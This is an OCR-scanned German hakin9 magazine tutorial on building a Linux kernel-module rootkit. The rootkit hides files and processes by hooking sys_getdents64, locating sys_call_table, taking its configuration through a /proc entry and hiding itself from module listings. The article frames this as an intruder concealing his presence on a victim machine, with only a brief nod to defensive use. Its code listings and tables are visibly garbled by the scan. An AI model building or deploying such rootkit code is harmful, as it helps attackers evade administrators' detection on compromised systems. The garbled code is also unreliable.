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Warszawa

Ein eigenes Rootkit
unter GNU/Linux

Mariusz Burdach

ine gelungene Kompromitation eines
E Systems ist nur der Anfang von Arbeit

eines Hackers. Was nutzt ihm, dass er
Zugriff auf das root-Konto hat, wenn der Admi-
nistrator gleich feststellt, dass die Systeminte-
gritat beeintrachtigt wurde? Eine weitere Phase
in der Arbeit des Einbrechers ist Verwischen
von Spuren durch Benutzung eines Rootkits,
am besten so, dass man danach den Opfer-
Rechner verwenden kann.

Versuchen wir also, ein einfaches Rootkit
fur Linux-Systeme zu entwickeln (in Form eines
ladbaren Kernel-Moduls). Dieses Rootkit wird
fir das Verstecken von Dateien, Verzeich-
nissen und Prozessen mit einem bestimmten
Préfix (in unserem Fall hakin9) zustandig sein.
Alle Beispiele wurden im Betriebssystem Red-
Hat Linux mit dem Kernel 2.4.18 entwickelt und
ausprobiert. Der gesamte beschriebene Code
befindet sich auf der beigefigten Heft-CD
hakin9.live.

Die in diesem Artikel enthaltenen In-
formationen sind fir Administratoren und
Personen, die sich mit Sicherheitsaspekten
beschaftigen, nitzlich. Die beschriebenen
Methoden kann man verwenden, um Kkriti-
sche Dateien oder Prozesse zu verstecken.
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Die Hauptaufgabe von Rootkits
ist, die Anwesenheit von
bestimmten Dateien und
Prozessen im angegriffenen
System zu verstecken.
Entwicklung einer eigenen
Losung mit einer solchen
Funktionalitat ist gar nicht so
schwierig.

Sie kénnen auch im Prozess der Kompromit-
tierungen-Erkennung von Betriebssystemen
natzlich sein.

Wirkungsweise

Die Hauptaufgabe unseres Rootkits wird das-
Verstecken von Dateien, die sich physikalisch
in einem lokalen Dateisystem befinden (siehe
Rahmen Aufgaben von Rootkits) sein. Das
Rootkit wird ausschliesslich lokal verwaltet

Im Artikel erfahren Sie...

wie man ein eigenes Rootkit entwickelt, das
die Anwesenheit von Dateien und Prozessen
mit den von einem bestimmten Namen ver-
steckt.

Was Sie vorher
wissen/konnen sollten...

zumindest die Grundlagen von Assembler ken-
nen,

» die Programmiersprache C kennen,

+ die Wirkungsweise des Linux-Kernels ken-
nen,
einfache Kernel-Module entwickeln kénnen.
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Aufgaben von Rootkits
Das wichtigste Ziel der Verwendung
von Rootkits ist das Verstecken der
Anwesenheit eines Einbrechers in ei-
nem kompromittierten Betriebssystem
(ausserdem ermoglicht ein Teil von
ihnen, eine versteckte Kommunikation
zwischen dem Opfer und dem Angrei-
fer). Zu den Hauptfunktionen eines
Rootkit zahlen:

»  Verstecken von Prozessen,

»  Verstecken von Dateien und ihrer
Inhalte,

»  Verstecken von Registern und ihrer
Inhalte,

»  Verstecken von offenen Ports und
Kommunikationskanalen,

* Registrierung von allen Tastatur-
schlagen,

» Abfangen von Passwortern in ei-
nem lokalen Netzwerk.

und arbeitet nur auf der Ebene
des System-Kernels (modifiziert
die dort enthaltenen bestimmten
Datenstrukturen).

Ohne Zweifel hat ein Code
von diesem Typ mehr Vorteile als
Programme, die Objekte in einem
Dateisystem vertauschen oder
modifizieren (als Objekt verstehen
wir Programme wie ps, taskmgr.exe
oder Bibliotheken win32.dll oder
libproc). Es ist leicht zu erahnen,
dass der groRte Vorteil in diesem
Fall die Schwierigkeit der Erken-
nung eines solchen Codes ist — er
modifiziert keine Objekte auf der
Festplatte, sondern bestimmte Da-
tenstrukturen in dem fir den Sys-
tem-Kernel reservierten Speicher.
Eine Ausnahme ist an dieser Stelle
eine Modifikation des Objektes,
das das Image des Kernels re-
prasentiert, und das sich in einem

Listing 1. Deklaration der

Struktur dirent64

struct dirent64 |
u64 d ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d name[];
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Tabelle 1. Wichtige Systemfunktionen in Linux

Systemfunktion Beschreibung

SYS _open
SYS read
SYS write
SYS execve

SYS getdents /
SYS getdento64

offnet eine Datei

liest eine Datei
schreibt eine Datei

fuhrt ein Programm aus

gibt den Inhalt eines Verzeichnisses zuriick

verwendet durch das System wahrend der

SYS execve

SYS socketcall

SYS setuid /

SYS getuid kators

SYS setgid /

SMS o getgid kators

Ausfihrung einer Datei
Verwaltung von Sockets

dienen zur Verwaltung des Benutzeridentifi-

dienen zur Verwaltung des Gruppenidentifi-

eine von Funktionen zur Verwaltung von

SYS query module

lokalen Dateisystem befinden muss
(es sei denn, dass wir das System
von einer CD, Diskette oder vom
Netzwerk aus booten).

Aufrufprozess einer

Systemfunktion
Wie erwahnt, modifiziert unser
Rootkit bestimmte Datenstruktu-

ren im fiur den Kernel reservierten
Speicher. Wir mussen also eine
entsprechende Stelle fur die Modi-
fikation auswahlen. Die einfachste
Methode (und eine der leichtesten)
beruht auf dem Abfangen einer von
Systemfunktionen. Es gibt aber
mehrere Stellen, die wir modifi-
zieren konnen. Wir kénnen zum
Beispiel die Funktion, die das durch
Applikationen im Benutzerbereich
(userspace) generierte Interrupt
bedient, oder die Funktion
system _call(), deren Ziel ist, eine
entsprechende  System-Funktion
aufzurufen, abfangen. Eigentlich
hangt die Wahl der entsprechenden
Stelle davon ab, was fur ein Ziel wir
erreichen wollen und wie schwierig
erkennbar unser Code sein soll.

0x80

Modulen

Im Linux-System kénnen wir zwei
Methoden des Aufrufes von System-
funktionen unterscheiden. Die erste
— direkte — Methode ist Laden von
entsprechenden Werten in die Pro-
zessorregister und Generierung des
Interrupts oxso. Wenn der Befehl int
ox80 durch ein Benutzerprogramm
ausgefuhrt wird, wird der Prozessor
in den Protected-Mode umgeschal-
tet und eine entsprechende System-
funktion wird aufgerufen.

Die zweite, indirekte, Methode
beruht auf Verwendung von Funk-
tionen aus der glibc-Bibliothek. Sie
scheint flUr unsere Anwendungen
besser geeignet zu sein, deshalb
verwenden wir diese Methode.

Wahl der

Systemfunktion

Linux hat eine Gruppe von System-
funktionen, die fur verschiedene
Operationen im Betriebssystem
verwendet werden, z.B. um Da-
teien zu 6ffnen oder zu lesen. Die
vollstdndige Liste der System-
funktionen befindet sich in den
Kernelquellen und in der Datei
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incode reclen off Typ Name
310237 18 c 2 -
1
147378 18 18 2 -
: T T T T
310238 20 28 1 mola o, or o, LUy s oz
: : : 1 1 1
310239 18 34 1 P i
; l l ,
310240 20 44 2 h 1 o : m : e 1 1
! |
5 1 1
310241 18 1000 2 s 1 b i
| 1 1
Abbildung 1. Beispielinhalt der Struktur dirent64
/usr/include/asm/unistd.h — je nach  getdents64 (0x3, 0x8058720,
der Kernel-Version ist ihre Anzahl 0x1000, 0x8058720) = 760
anders (fur den Kernel 2.4.18 gibt  getdents64(0x3, 0x8058720,
es 239 Funktionen). In der Tabelle 0x1000, 0x8058720) = 0
1 befindet sich die Liste der wich-
tigsten Systemfunktionen, deren
Modifikation von unserem Stand- Die Funktion getdents64() unter-

punkt aus nutzlich ist.

Gut geeignet fur eine Modifika-
tion scheint die Funktion sys get-
dents() ZzZU sein — wenn wir sie
modifizieren, sind wir in der Lage
Dateien, Verzeichnisse und Prozes-
se zu verstecken.

Die Funktion sys _getdents()
wird durch solche Tools wie /s oder
ps verwendet. Wir kdnnen uns davon
Uberzeugen, wenn wir das Werkzeug
strace benutzen, das mit Hilfe der
Systemfunktion ptrace() die Arbeit
der Kindprozesse verfolgt. Wir rufen
also strace auf und als Parameter
geben wir den Namen einer aus-
fihrbaren Datei an. Wir sehen, dass
die Funktion getdentse4() zwei Mal
aufgerufen wurde.

$ strace /bin/ls

Listing 2. Platzierung und
Sprung zur im Register
platzierten Adresse der
Funktion

movl $adresse7unserer7der, %ecx

jmp *$ecx

scheidet sich von getdents() nur
mit der genommenen Struktur — sie
verwendet die Struktur direntes
und nicht dirent. Eine Deklaration
der Struktur direntes wird in Listing
2 dargestellt. Wie man sieht, sie
unterscheidet sich von der Struktur
dirent Mit dem Feld 4 type und
mit Feldern, in denen Informatio-
nen Uber die Nummer des i-Knoten
(inode) und Uber die Verschiebung
zur nachsten Struktur aufbewahrt
werden.

LKM X LKM'Y

Der Aufbau der Struktur direntes4
ist fir uns besonders relevant, weil
wir sie modifizieren. In Abbildung
1 sieht man eine Beispielstruktur
dirent64. Eben aus dieser Struktur
entfernen wir Eintrage, die zu ver-
steckende Objekte betreffen. Jeder
Eintrag reprasentiert eine Datei aus
dem gegebenen Verzeichnis.

Modifikation von

Systemfunktionen

Wenn wir schon wissen, welche
Systemfunktion wir modifizieren
wollen, missen wir eine entspre-
chende Methode der Modifikation
wahlen. Die einfachste ist, die
Adresse zu dieser Funktion zu ver-
tauschen. Die Information Ulber die
Adresse befindet sich in dem Array

LKM Z LKM A

NEXT NEXT

)

NEXT NEXT

Abbildung 2. Zustand des Kernels nach der Modifikation der Funktion

sys_getdents64()
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Ohne oder

mit Modulen?
Die Mdglichkeit des Ladens eines
zusatzlichen Codes in den Kernel-
Speicher ist der Vorteil von Mehrheit
der Betriebssystemen. Dank dieser
Méglichkeit muss man den Kernel
nicht neu kompilieren, nachdem man
z.B. ein neues Dateisystem oder ein
neues Gerat hinzugefligt hat.
Andererseits wird diese Funktio-
nalitat manchmal missgebraucht, weil
sie ermdglicht, auf einfache Art und
Weise kritische Datenstrukturen (wie
Systemfunktionen) zu modifizieren.
Oft tauchen Meinungen auf, dass es
aus dem Gesichtspunkt der Systemsi-
cherheit viel besser ist, die Moglichkeit
des Ladens von zusatzlichen Modulen
(LKM) auszuschalten.
Leiderentferntsogar ein Ausschal-
ten dieser Funktion die Méglichkeit der
Modifikation von Datenstrukturen im
Speicher des System-Kernels nicht.
Es gibt ein Gerat /dev/kmem, das
den Bereich des virtuellen Speichers
im System reprasentiert (Bereich
0x00000000 — OxfEfEEEEE). Wenn wir
die Struktur dieses Objektes kennen,
sind wirimmer noch in der Lage, einen
ausfuihrbaren Code in den Speicher
zu laden.

sys call table (dieses Array be-
inhaltet Informationen Uber Adres-
sen von allen Systemfunktionen).
Wir kbnnen also unsere eigene get-
dentse64 ()-Funktion schreiben, sie
in den Speicher laden und danach
ihre Adresse in dem Array sys _
call table schreiben (indem wir
die Adresse der originalen Funktion
Uberschreiben). Diese Methode der
Modifikation ist besonders populéar
in Windows-Systemen.

Eine andere Lésung ist Schrei-
ben einer Funktion, die eine origina-
le Systemfunktion aufruft und ihre
Ergebnisse filtert — wir versuchen,
eine solche Operation auszufihren.
Diese Methode beruht darauf, dass
ein Paar erste Bytes der originalen
Systemfunktion Uberschrieben wer-
den. Beim Uberschreiben platzieren
wir die Adresse der neuen Funktion
im Register und springen mit Hilfe
der Assembler-Funktion 4mp zu
dieser Adresse, gleich nach dem
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Listing 3. Programm, das die
Anzahl der Bytes zum Kopieren
berechnet

main ()
asm("mov $0,%ecx\n\t"

"Jmp  *%ecx\n\t"

)i

Aufruf der Systemfunktion (siehe
Listing 2).

Wie wir vorher angenommen
haben, rufen wir nach der Uber-
nahme der Kontrolle Uber die Sys-
temfunktion die originale Version
der Funktion getdentss4() auf. Nach
dem Erhalt des Riickgabewertes von
getdentse4 () filtern wir bestimmte
Informationen (wie zum Beispiel den
Dateinamen). Um diese Operation
auszuflihren, missen wir die Instruk-
tionen der originalen Funktion vor
einem Uberschreiben schiitzen.

Beachten wir auch, dass wir
beim Schreiben eines Programms
die Adresse unserer Funktion nicht
kennen. Erst nach dem Laden des
Codes in den Speicher kdnnen wir
diese Adresse ermitteln und in das
Array eintragen, in dem unser Co-
de platziert ist. Die gespeicherten
Anweisungen verwenden wir dann
zum Aufrufen der originalen Funk-
tion getdentsea(). Das Algorithmus
funktioniert wie folgt:

» schreibe ein Paar von ersten
Bytes der originalen Funktion
getdentse4() (die Adresse der
Funktion getdentse4() befindet
sich im Array sys call table),

 merke die Adresse der neuen
Funktion (beachten wir, dass die

Adresse der neuen Funktion erst
nach dem Laden der Funktion in
den Speicher ermittelt werden
kann),

» schreibe den Code aus Listing 2,
der die Sprunganweisung zur
Adresse von dem Punkt 2. ent-
halt, an die Speicherstelle, die
das Array sys call table auf-
zeigt; der Code muss genauso
viel Platz besetzen, wie es im
Punkt 1 festgelegt wurde.

Nach der Ausfuhrung dieser Opera-
tionen wird der System-Kernel ent-
sprechend modifiziert sein (siehe
Abbildung 2). Wahrend der Arbeit
des Systems bewirkt dann jeder
Aufruf der Funktion getdentse4()
einen Sprung zu unserer Funkti-
on, die die folgenden Operationen
ausfuhrt:

» kopiert die ersten ein Paar Bytes
der originalen Funktion an die
Speicherstelle, die durch das Array
sys _call table aufgezeigt wird,

« ruft die originale Funktion sys
getdents64 () auf,

» filtert den Rickgabewert der ori-
ginalen Funktion,

» stellt den Code aus Listing 2 an
der durch das Array sys call
table aufgezeigten Stelle wieder
her (die Adresse der Funktion
sysgﬁgetdents64(».

Beachten wir, dass wir in diesen
Algorithmen mit einem unbekann-
ten Wert zu tun haben — das ist die
Anzahl der Anfangsbytes zum Ko-
pieren. Uberpriifen wir also, wie viel
Bytes der Code aus Listing 2 belegt.

Um die Anzahl der durch diesen
Code belegten Bytes zu ermitteln,

080483d0 <main>:

80483d0: 55 push %$ebp
80483dl: 89 e5 mov %esp, $ebp
80483d3: b9 00 00 00 00 mov $0x0,%ecx
80483d8: ff el jmp  *$ecx
80483da: 5d pop %ebp
80483db: c3 ret

80483dc: 90 nop

80483dd: 90 nop

Listing 4. Disassemblierung des Programms aus Listing 3
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Listing 5. Der Code, der fiir das Finden der Adresse von sys_call_table

zustandig ist

for (ptr = (unsigned long)&loops per jiffy;
ptr < (unsigned long)&boot cpu data; ptr += sizeof (void *))

unsigned long *p;
p = (unsigned long *)ptr;

if (p[__NR close] == (unsigned long) sys close)
sct = (unsigned long **)p;
break;

muss man ein einfaches Programm
schreiben. Dieses Programm er-
mdglicht nach der Kompilierung und
Disassemblierung eine Feststellung
der Anzahl von Bytes zum Kopieren
(siehe Artikel Reverse Engineering
des ausfiihrbaren ELF-Codes in
der Forensischen Analyse, hakin9
5/2004). Das Programm wurde in
Listing 3 dargestellt.

Danach wandeln wir den In-
halt der main(-Funktion in die
Assembler-Form und das op-
code-Format um. Diese Funkti-
on befindet sich in der Sektion
des ausfihrbaren Codes (.text)
unseres Programms (Listing 3).
Fir uns ist die Umwandlung in die
opcode-Form notwendig, die wir in
dem Array platzieren und danach
zum Uberschreiben des originalen
Codes benutzen (siehe Listing 3).

Nach dem Entfernen des Funk-
tionsprologs und -epilogs bleiben
sieben Bytes, die wir in dem Array
platzieren:

static char new getdents code[7] =
"\xb9\x00\x00\x00\x00"
/* movl $0,%ecx */
"\xef\xel"

/* jmp *%ecx */

Also wir missen genau 7 Bytes der
originalen Funktion aufbewahren.
An der Stelle von oo 00 o0 oo wird
die Adresse unserer Funktion hinzu-
geflgt. Das zweite 7-Element-Array
legen wir an, um dort Anweisungen
der originalen getdentseé4()-Funktion
zu speichern.

Als letztes in dieser Phase
missen wir die Adresse unserer
Funktion finden und sie in dem
obigen Array new _getdents _code
platzieren. Bemerken wir, dass die
Adresse mit dem ersten Element
in dem Array beginnen soll. Nach
der Platzierung der Funktion im
Speicher (was mit dem Laden des
Moduls mit der Anweisung insmod
realisiert wird) aktualisieren wir das
Array wie folgt:

*(long *)é&new_getdents code[1]

= (long)new_getdents;

Platzieren des Codes
im Speicher

Unser Rootkit wird im Speicher in
Form eines Moduls installiert wer-
den. Man muss aber beachten, dass
wir nicht immer eine solche Méglich-
keit haben — einige Administratoren
sperren die Mdglichkeit des dynami-
schen Ladens von Modulen in den
Kernel (siehe Rahmen Ohne oder
mit Modulen?).

Zum Platzieren unseres Codes
wird die Funktion init module()
verwendet, die beim Laden des
Moduls in den Speicher aufgerufen
wird (mit der Anweisung insmod
modul.0). Ein Problem ist, dass
wir zuerst die Adresse der origi-
nalen Funktion getdentse4() finden
missen. Die einfachste Methode
ware, die Adresse von dem Ar-
ray sys call table zU nehmen.
Leider werden weder die Adresse
VOn sys call table noch viele
andere kritische Systemelemente
exportiert (das ist eine Art Schutz
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Listing 6. Ein Prototyp der
Funktion create_proc_entry()

proc_dir entry
*create_proc_entry
(const char *name,
mode_t mode,
struct proc dir_entry *parent)

vor einer Ubernahme der Adresse
mit Hilfe von extern).

Um die Adresse von sys
call _table zU ermitteln, kann man
einige Methoden verwenden. Wir
kénnen zum Beispiel die Funktion
sidt nehmen, um den Zeiger auf die
Adresse der IDT-Tabelle zu erhalten
(siehe Artikel Einfache Methoden
der Erkennung von Debuggern und
der VMware-Umgebung in dieser
Ausgabe von hakin9). Dann nehmen
wir aus dieser Tabelle die Adresse
der Funktion, die flr die Bedienung
des Interruptes oxso zustandig ist,
und lesen die Adresse des Arrays
sys _call table aus der sys-—
tem call()-Funktion aus. Diese
Methode funktioniert leider nur auf
solchen Betriebssystemen, die nicht
unter VMware oder UML betrieben
werden. In einer anderen Methode
wird die Adresse direkt aus der Datei
System.map genommen, die wah-
rend der Kompilierung des Kernels
angelegt wird. Sie enthalt alle wichti-
gen Symbole und ihre Adressen.

Wir verwenden noch eine ande-
re Methode, in der wir Funktionen
verwenden, deren Adressen durch
den Kernel exportiert werden. Das
hilft uns, die Adresse des Arrays
sys _call table zu finden. Die
Adresse  von  sys call table
befindet sich irgendwo im Spei-
cher zwischen den Adressen der
Symbole loops _per Jiffy und
boot _cpu _ data. Wie man leicht
raten kann, werden diese Symbole
exportiert. Exportiert wird auch die
Adresse der Systemfunktion sys _
close (). Diese Funktion ist fur uns
fur eine Verifikation nltzlich, ob die
gefundene Adresse korrekt ist.

Der Wert des siebten Elemen-
tes des Arrays soll die Adresse
der Funktion sys close() sein. Die
Reihenfolge der Systemfunktionen
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kénnen wir uns in der Header-Datei
/usr/include/asm/unistd.h ansehen.
Der Codeabschnitt, der flr die Iden-
tifizierung des Arrays sys call ta-
ple zustandig ist, befindet sich in
Listing 5.

Nachdem wir die Adresse von
sys _call table Schon gefunden
haben, missen wir zwei Operatio-
nen ausflhren, die uns ermogli-
chen, alle Aufrufe der originalen
getdentss4 ()-Funktion abzufangen.
Zuerst kopieren wir die ersten
sieben Bytes der originalen get-
dentse4 ()-Funktion in das Array

syscall codell:

_memepy (
syscall code,
sct[__NR _getdents64],
sizeof (syscall_code)

) i

Dann Uberschreiben wir die ersten
sieben Bytes der originalen Funk-
tion mit dem Code aus dem Array
new _syscall code[]. Dort befindet
sich die Sprunganweisung jnp zu der
Adresse im Speicher, wo unsere Ver-
sion der Funktion platziert ist:

_memcpy (
sct[__NR _getdents64],
new_syscall code,
sizeof (syscall_code)

) i

Ab jetzt wird unsere Funktion statt
der originalen getdentss4() aufge-
rufen.

Verwaltung —
Kommunikation mit
dem Benutzerbereich
Jetzt sollten wir uns mit der Metho-
de der Informationenlibergabe von
unserem Rootkit aus dem Benut-
zerbereich (userspace) befassen
— wir mussen also eine Methode
der Ubertragung von Daten der zu
versteckenden Objekte finden. Das
ist keine einfache Aufgabe, weil ein
direkter Zugriff auf den Adressebe-
reich des Kernel-Codes von dem
Benutzerbereich (userspace) aus
nicht moglich ist. Eine von Mdg-
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struct proc dir entry

unsigned short low_ino;

unsigned short namelen;

const char *name;
mode_t mode;
nlink t nlink;

uid t uid;
gid t gid;
unsigned long size;

struct file operations * proc_ fops;
get info t *get info;

struct module *owner;

void *data;

read proc_t *read proc;

write proc_t *write proc;

atomic_t count;
int deleted;

kdev_t rdev;

Listing 7. Deklaration der Struktur proc_dir_entry

struct inode operations * proc_iops;

struct proc dir entry *next, *parent, *subdir;

/* use count */
/* delete flag */

modifiziert

copy_from user(alfa,dirp,orgc);
newc = orgc;
while (newc > 0)

recc = alfa->d reclen;

newc -= recc;
if (a==0)

memmove (alfa,

orgc -=recc;

copy_to_user (dirp,beta, orgc) ;

Listing 8. Ein Codeauschnitt der Funktion, die die dirent64-Struktur

beta = alfa = (struct dirent64 *) kmalloc (orgc, GFP_KERNEL) ;

a=memcmp (alfa->d_name,baza.value,strlen(baza.value));

(char *) alfa + alfa->d_reclen,newc);

if (alfa->d_reclen == 0)
newc = 0;
if(newc = 0)
alfa = (struct dirent64 *) ((char *) alfa + alfa->d_reclen);

lichkeiten des Datenaustausches
ist Verwendung des Dateisystems
procfs. Wie wir wissen, enthalt procfs
den aktuellen Speicherzustand des
Systems und ermdglicht Modifikati-

on von bestimmten Parametern des
Kernels direkt von dem Benutzerbe-
reich (userspace) aus. Zum Beispiel,
wenn wir den Namen unseres Rech-
ners andern wollen, reicht es, einen
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neuen Namen in die Datei /proc/sys/
kernel/hostname einzutragen:

# echo hakin9 \

> /proc/sys/kernel/hostname

Wir fangen mit dem Anlegen einer
neuen Datei an, zum Beispiel hakin9,
im Hauptdateisystem procfs (das ist
das Verzeichnis /proc). In diese Datei
tragen wir den Namen ein, mit dem
die Namen der zu versteckenden Ob-
jekte beginnen. Unser Beispiel nimmt
an, dass man den Namen eines Pra-
fix eintragen kann. Das reicht vollig
aus — es ermoglicht, eine beliebige
Anzahl von Dateien, Verzeichnissen
und Prozessen, deren Namen mit
dem eingetragenen Prafix beginnen
(bei uns hakin9), zu verstecken. Auf
diese Art und Weise kdénnen wir die
Konfigurationsdatei hakin9 aus dem
Verzeichnis /proc verstecken.

Die Funktion, die eine Datei im
Dateisystem procfs anlegt, heil3t
create proc _entry(). lhr Prototyp
befindet sich in Listing 6.

Jede durch create __ proc _ ent-
ry() in procfs angelegte Datei
hat die Struktur proc _dir entry.
Mit der Datei sind unter anderen
Funktionen assoziiert, die bei den
Lese-/Schreiboperationen von dem
Benutzerbereich (userspace) aus
aufgerufen werden. Die Deklara-
tion der Struktur proc _dir entry
wird in Listing 7 dargestellt. Sie ist
auch in der Header-Datei /usr/src/
linux-2.4/include/linux/proc_fs.h
vorhanden.

Die Mehrheit der Felder wird
automatisch beim Anlegen des
Objektes aktualisiert. Fir uns sind
drei davon wichtig. Wir brauchen
zwei Funktionen zu erstellen: Die
erste ist write proc, die vom Be-
nutzer eingegebene Daten einliest
und sie in einem Array speichert.
Der Inhalt dieses Arrays wird dann
mit den Eintrédgen in der Struktur
direnté4 verglichen. Die zweite
Funktion ist die read proc-Funkti-
on — sie zeigt Daten fur Benutzer,
die die Datei /proc/hakin9 lesen.
Das letzte Element ist das Feld da-
ta, das auf eine Struktur zeigt, die
in unserem Beispiel aus zwei Ar-

rays besteht, wo ein davon (value)
den Namen des zu versteckenden
Objektes enthalt. Der Quellcode
der Funktion befindet sich (wegen
seiner Umfang) auf der beigeflg-
ten Heft-CD.

Filtern von Daten

Das wichtigste Element unseres
Rootkits ist die Funktion, die die
originale getdentsed ()-Funktion
ausliest und einen Teil der Riickga-
bewerte filtert. In unserem Beispiel
ist das der Name des Objektes, der
von einem Benutzer in die Datei
namens hakin9 eingetragen wird.
Diese Datei befindet sich im Ver-
zeichnis /proc.

Wie wir wissen, ruft unsere
Funktion zuerst die originale Funk-
tion getndentse4() auf und Uberprift
dann, ob die direntss-Struktur ein
zu versteckendes Objekt enthalt.
Um die originale Funktion aufzuru-
fen, missen wir sie zuerst wieder
herstellen. Zu diesem Zweck rufen
wir die Funktion memcpy() auf. Sie
platziert den Inhalt des Arrays sys-
call code[] an der Speicherstelle,
auf die das Array sys call table
zeigt (das ist die Adresse unserer
Systemfunktion sys getdents64 ().

Danach wird die originale get-
dentsé4 ()-Funktion aufgerufen. Die
Anzahl der durch sie gelesenen
Bytes wird in der Variable orgc ge-
speichert. Wie wir wissen, liest die
Funktion getdetnse4() sie Struktur
dirent64. Das, was unsere Funktion
machen muss, ist eine Verifikation
der direntss-Struktur und eventuell
ein Entfernen des zu versteckenden
Eintrages. Man soll auch beachten,
dass die Funktion getdentss4()
die Anzahl der gelesenen Bytes
zurlickgibt. Deshalb missen wir
diesen Wert um ein Vielfaches des
zu versteckenden Eintrages, die in
der Variable 4 reclen, enthalten
ist, verringern. Der beschriebene
Codeauschnitt wird in Listing 8 dar-
gestellt.

Als letztes mussen wir zu un-
serem Code das Makro exporT
no symeors hinzufliigen, das die
Moglichkeit des Exportierens von
Symbolen aus dem Modul sperrt.
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Wenn wir dieses Makro nicht ein-
setzen, exportiert das Modul Infor-
mationen Uber Symbole und ihre
Adressen. Alle durch den Kernel
exportierten Symbole (auch die,
die durch ladbare Module expor-
tiert werden) befinden sich in einem
Array, das wir direkt aus der Datei
/proc/ksymsauslesenkdnnen.Wenn
unser Modul die Symbole nicht ex-
portiert, ist es ein bisschen schwie-
riger erkennbar.

Nun bleibt uns nur noch die Kom-
pilierung und Laden des Moduls in
den Speicher:

$ gcc -c syscall.c
-I/usr/include/linux-2.4.XX

$ su -

=

insmod syscall.o

Leider ist unser Modul leicht zu
erkennen, weil es sich auf der Liste
der im System laufenden Module
befindet (eine solche Liste lassen
wir mit dem Kommando /smod oder
cat /proc/modules anzeigen). Zum
Glick ist Verstecken eines Moduls
eine ziemlich einfache Aufgabe — es
reicht, das im Internet (und auf un-
serer CD) verfugbare Modul clean.o
zu benutzen (siehe Artikel SYSLOG
Kernel Tunnel — Schutz von System-
Logs in dieser Ausgabe von hakin9).

Das ist noch nicht alles
Wir haben die Basisoperationen
dargestellt, die man ausfihren muss,
um ein eigenes vollig funktionsfahi-
ges Rootkit zu schreiben. Trotzdem
bleiben es immer noch zumindest
zwei Probleme. Das erste ist ein
automatisches Starten des Moduls
beim jeden Neustart des Systems.
Zum zweiten, wir missen das Mo-
dul richitg verstecken, zum Beispiel
indem wir den ausfihrbaren Code
unseres Moduls zu anderen Modulen
hinzufigen. Ein weiteres Problem
hangt damit zusammen, dass die
Méglichkeit des Ladens von Modulen
manchmal ausgeschaltet sein kann.
In einem solchen Fall missen wir
unseren Code direkt in den Speicher
laden. Alle diesen Probleme |6sen
wir in der nachsten Ausgabe von
hakin9. m
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